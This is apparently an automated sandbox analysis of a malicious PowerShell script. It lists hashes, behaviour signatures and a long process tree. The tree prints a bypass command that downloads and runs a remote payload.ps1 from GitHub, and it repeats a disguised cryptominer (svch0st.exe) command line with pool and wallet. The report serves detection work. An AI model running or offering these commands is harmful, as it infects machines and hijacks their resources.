4eee3d7e18de46f1b9c2edaab24af455b8778dbdd61a1244b830204178cc3239

Analysis

max time kernel
69s
max time network
65s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/05/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.ps1
Size 167B
Sample260501-e51syaby31
SHA256 4eee3d7e18de46f1b9c2edaab24af455b8778dbdd61a1244b830204178cc3239
MD5 1d6577a80f1ec6ee40df87f8cb83c96d
SHA1 a1ba988d14e915606870cdcdf642e156f6355f44
SHA512 f3c329af79e5bf30e5ba3c3cf115c7b92a1d0740362a4d77795cc8f87c0f92b9d9614b5620b800a6dba622e6d6f421bd2570ac67e87dd3162985084dc72ed6c1
TLSH
T108C0C0600001452C43126045CA708FC4437930A4B5128111FE705ECC82D03701600258
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3472	powershell.exe
12	3472	powershell.exe
15	3472	powershell.exe
17	3472	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3844	svch0st.exe
5064	svch0st.exe
5100	svch0st.exe
1136	svch0st.exe
3932	svch0st.exe
3364	svch0st.exe
4876	svch0st.exe
5000	svch0st.exe
968	svch0st.exe
224	svch0st.exe
2224	svch0st.exe
1664	svch0st.exe
3012	svch0st.exe
2296	svch0st.exe
3800	svch0st.exe
4444	svch0st.exe
4244	svch0st.exe
1892	svch0st.exe
3900	svch0st.exe
4072	svch0st.exe
1188	svch0st.exe
4468	svch0st.exe
2204	svch0st.exe
2732	svch0st.exe
1380	svch0st.exe
3384	svch0st.exe
3560	svch0st.exe
3428	svch0st.exe
2868	svch0st.exe
2428	svch0st.exe
3492	svch0st.exe
3904	svch0st.exe
4672	svch0st.exe
5132	svch0st.exe
5164	svch0st.exe
5244	svch0st.exe
5268	svch0st.exe
5356	svch0st.exe
5368	svch0st.exe
5468	svch0st.exe
5496	svch0st.exe
5556	svch0st.exe
5620	svch0st.exe
5676	svch0st.exe
5724	svch0st.exe
5808	svch0st.exe
5816	svch0st.exe
5920	svch0st.exe
5932	svch0st.exe
6032	svch0st.exe
6060	svch0st.exe
6128	svch0st.exe
5252	svch0st.exe
5824	svch0st.exe
6080	svch0st.exe
6172	svch0st.exe
6228	svch0st.exe
6308	svch0st.exe
6316	svch0st.exe
6420	svch0st.exe
6428	svch0st.exe
6532	svch0st.exe
6544	svch0st.exe
6648	svch0st.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
11	discord.com
12	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	api.ipify.org
15	api.ipify.org

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4124	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3448	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe
3472	powershell.exe
3472	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4124 wrote to memory of 3472	4124	powershell.exe	85
PID 3472 wrote to memory of 3844	3472	powershell.exe	86
PID 3472 wrote to memory of 3448	3472	powershell.exe	88
PID 3844 wrote to memory of 5064	3844	svch0st.exe	89
PID 5064 wrote to memory of 5100	5064	svch0st.exe	91
PID 5100 wrote to memory of 1136	5100	svch0st.exe	94
PID 1136 wrote to memory of 3932	1136	svch0st.exe	96
PID 3932 wrote to memory of 3364	3932	svch0st.exe	98
PID 3364 wrote to memory of 4876	3364	svch0st.exe	100
PID 4876 wrote to memory of 5000	4876	svch0st.exe	102
PID 5000 wrote to memory of 968	5000	svch0st.exe	104
PID 968 wrote to memory of 224	968	svch0st.exe	106
PID 224 wrote to memory of 2224	224	svch0st.exe	108
PID 2224 wrote to memory of 1664	2224	svch0st.exe	110
PID 1664 wrote to memory of 3012	1664	svch0st.exe	112
PID 3012 wrote to memory of 2296	3012	svch0st.exe	114
PID 2296 wrote to memory of 3800	2296	svch0st.exe	116
PID 3800 wrote to memory of 4444	3800	svch0st.exe	118
PID 4444 wrote to memory of 1892	4444	svch0st.exe	122
PID 4244 wrote to memory of 3900	4244	svch0st.exe	124
PID 1892 wrote to memory of 4072	1892	svch0st.exe	126
PID 4072 wrote to memory of 1188	4072	svch0st.exe	128
PID 3900 wrote to memory of 4468	3900	svch0st.exe	129
PID 4468 wrote to memory of 2204	4468	svch0st.exe	132
PID 1188 wrote to memory of 2732	1188	svch0st.exe	134
PID 2204 wrote to memory of 1380	2204	svch0st.exe	136
PID 2732 wrote to memory of 3384	2732	svch0st.exe	138
PID 3384 wrote to memory of 3560	3384	svch0st.exe	140
PID 1380 wrote to memory of 3428	1380	svch0st.exe	141
PID 3560 wrote to memory of 2868	3560	svch0st.exe	144
PID 3428 wrote to memory of 2428	3428	svch0st.exe	146
PID 2868 wrote to memory of 3492	2868	svch0st.exe	148
PID 2428 wrote to memory of 3904	2428	svch0st.exe	150
PID 3492 wrote to memory of 4672	3492	svch0st.exe	152
PID 3904 wrote to memory of 5132	3904	svch0st.exe	154
PID 4672 wrote to memory of 5164	4672	svch0st.exe	156
PID 5132 wrote to memory of 5244	5132	svch0st.exe	158
PID 5164 wrote to memory of 5268	5164	svch0st.exe	160
PID 5244 wrote to memory of 5356	5244	svch0st.exe	162
PID 5268 wrote to memory of 5368	5268	svch0st.exe	163
PID 5356 wrote to memory of 5468	5356	svch0st.exe	166
PID 5368 wrote to memory of 5496	5368	svch0st.exe	168
PID 5468 wrote to memory of 5556	5468	svch0st.exe	170
PID 5496 wrote to memory of 5620	5496	svch0st.exe	172
PID 5556 wrote to memory of 5676	5556	svch0st.exe	174
PID 5620 wrote to memory of 5724	5620	svch0st.exe	176
PID 5676 wrote to memory of 5808	5676	svch0st.exe	178
PID 5724 wrote to memory of 5816	5724	svch0st.exe	179
PID 5808 wrote to memory of 5920	5808	svch0st.exe	182
PID 5816 wrote to memory of 5932	5816	svch0st.exe	183
PID 5920 wrote to memory of 6032	5920	svch0st.exe	186
PID 5932 wrote to memory of 6060	5932	svch0st.exe	188
PID 6032 wrote to memory of 6128	6032	svch0st.exe	190
PID 6060 wrote to memory of 5252	6060	svch0st.exe	192
PID 6128 wrote to memory of 5824	6128	svch0st.exe	194
PID 5252 wrote to memory of 6080	5252	svch0st.exe	196
PID 5824 wrote to memory of 6172	5824	svch0st.exe	198
PID 6080 wrote to memory of 6228	6080	svch0st.exe	200
PID 6172 wrote to memory of 6308	6172	svch0st.exe	202
PID 6228 wrote to memory of 6316	6228	svch0st.exe	203
PID 6316 wrote to memory of 6420	6316	svch0st.exe	206
PID 6308 wrote to memory of 6428	6308	svch0st.exe	207
PID 6428 wrote to memory of 6532	6428	svch0st.exe	210
PID 6420 wrote to memory of 6544	6420	svch0st.exe	211

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -noni -w normal -ep bypass -c "iex((iwr 'https://raw.githubusercontent.com/extonix8-ctrl/sigma/refs/heads/main/payload.ps1' -UseBasicParsing).Content)"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5064
    - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5100
      - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1136
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3364
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4876
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        10⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5000
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        11⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:968
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        12⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        13⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        14⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        15⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3012
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        16⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        17⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3800
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        18⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        19⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        20⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4072
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        21⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1188
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        22⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2732
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        23⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3384
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        24⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3560
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        25⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2868
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        26⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3492
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        27⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4672
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        28⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5164
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        29⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5268
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        30⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        31⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5496
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        32⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5620
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        33⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5724
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        34⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5816
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        35⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        36⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6060
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        37⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5252
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        38⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6080
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        39⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        40⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6316
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        41⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6420
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        42⤵
        Executes dropped EXE
        
        PID:6544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        43⤵
        Executes dropped EXE
        
        PID:6648
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        44⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        45⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
